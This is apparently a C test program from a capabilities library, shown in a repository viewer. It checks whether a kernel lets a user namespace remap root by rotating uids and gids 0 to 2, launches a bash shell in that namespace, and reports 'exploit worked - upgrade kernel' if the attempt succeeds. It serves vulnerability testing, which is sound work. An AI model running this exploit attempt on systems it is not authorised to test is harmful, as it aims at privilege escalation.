159 lines
3.2 KiB
C
159 lines
3.2 KiB
C
|
|
/*
|
||
|
|
* Try unsharing where we remap the root user by rotating uids (0,1,2)
|
||
|
|
* and the corresponding gids too.
|
||
|
|
*/
|
||
|
|
|
||
|
|
#define _GNU_SOURCE
|
||
|
|
|
||
|
|
#include <errno.h>
|
||
|
|
#include <sched.h>
|
||
|
|
#include <stdio.h>
|
||
|
|
#include <stdlib.h>
|
||
|
|
#include <string.h>
|
||
|
|
#include <sys/capability.h>
|
||
|
|
#include <sys/mman.h>
|
||
|
|
#include <sys/prctl.h>
|
||
|
|
#include <sys/wait.h>
|
||
|
|
#include <unistd.h>
|
||
|
|
|
||
|
|
#define STACK_RESERVED 10*1024
|
||
|
|
|
||
|
|
struct my_pipe {
|
||
|
|
int to[2];
|
||
|
|
int from[2];
|
||
|
|
};
|
||
|
|
|
||
|
|
static int child(void *data) {
|
||
|
|
struct my_pipe *fdsp = data;
|
||
|
|
static const char * const args[] = {"bash", NULL};
|
||
|
|
|
||
|
|
close(fdsp->to[1]);
|
||
|
|
close(fdsp->from[0]);
|
||
|
|
if (write(fdsp->from[1], "1", 1) != 1) {
|
||
|
|
fprintf(stderr, "failed to confirm setuid(1)\n");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
close(fdsp->from[1]);
|
||
|
|
|
||
|
|
char datum[1];
|
||
|
|
if (read(fdsp->to[0], datum, 1) != 1) {
|
||
|
|
fprintf(stderr, "failed to wait for parent\n");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
close(fdsp->to[0]);
|
||
|
|
if (datum[0] == '!') {
|
||
|
|
/* parent failed */
|
||
|
|
exit(0);
|
||
|
|
}
|
||
|
|
|
||
|
|
setsid();
|
||
|
|
|
||
|
|
execv("/bin/bash", (const void *) args);
|
||
|
|
perror("execv failed");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
|
||
|
|
int main(int argc, char **argv)
|
||
|
|
{
|
||
|
|
static const char *file_formats[] = {
|
||
|
|
"/proc/%d/uid_map",
|
||
|
|
"/proc/%d/gid_map"
|
||
|
|
};
|
||
|
|
static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n";
|
||
|
|
cap_value_t fscap = CAP_SETFCAP;
|
||
|
|
cap_t orig = cap_get_proc();
|
||
|
|
|
||
|
|
/* Run with this one lowered */
|
||
|
|
cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR);
|
||
|
|
|
||
|
|
struct my_pipe fds;
|
||
|
|
if (pipe(&fds.from[0]) || pipe(&fds.to[0])) {
|
||
|
|
perror("no pipes");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
|
||
|
|
char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE,
|
||
|
|
MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0);
|
||
|
|
if (stack == MAP_FAILED) {
|
||
|
|
perror("no map for stack");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
|
||
|
|
if (cap_setuid(1)) {
|
||
|
|
perror("failed to cap_setuid(1)");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
|
||
|
|
if (cap_set_proc(orig)) {
|
||
|
|
perror("failed to raise caps again");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
|
||
|
|
pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds);
|
||
|
|
if (pid == -1) {
|
||
|
|
perror("clone failed");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
|
||
|
|
close(fds.from[1]);
|
||
|
|
close(fds.to[0]);
|
||
|
|
|
||
|
|
if (cap_setuid(0)) {
|
||
|
|
perror("failed to cap_setuid(0)");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
|
||
|
|
if (cap_set_proc(orig)) {
|
||
|
|
perror("failed to raise caps again");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
|
||
|
|
char datum[1];
|
||
|
|
if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') {
|
||
|
|
fprintf(stderr, "failed to read child status\n");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
close(fds.from[0]);
|
||
|
|
|
||
|
|
int i;
|
||
|
|
for (i=0; i<2; i++) {
|
||
|
|
char *map_file;
|
||
|
|
if (asprintf(&map_file, file_formats[i], pid) < 0) {
|
||
|
|
perror("allocate string");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
|
||
|
|
FILE *f = fopen(map_file, "w");
|
||
|
|
free(map_file);
|
||
|
|
if (f == NULL) {
|
||
|
|
perror("fopen failed");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
int len = fwrite(id_map, 1, strlen(id_map), f);
|
||
|
|
if (len != strlen(id_map)) {
|
||
|
|
goto bailok;
|
||
|
|
}
|
||
|
|
if (fclose(f)) {
|
||
|
|
goto bailok;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
if (write(fds.to[1], ".", 1) != 1) {
|
||
|
|
perror("failed to write '.'");
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
close(fds.to[1]);
|
||
|
|
|
||
|
|
fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n");
|
||
|
|
if (wait(NULL) == pid) {
|
||
|
|
exit(1);
|
||
|
|
}
|
||
|
|
perror("launch failed");
|
||
|
|
exit(1);
|
||
|
|
|
||
|
|
bailok:
|
||
|
|
fprintf(stderr, "exploit attempt failed\n");
|
||
|
|
(void) write(fds.to[1], "!", 1);
|
||
|
|
exit(0);
|
||
|
|
}
|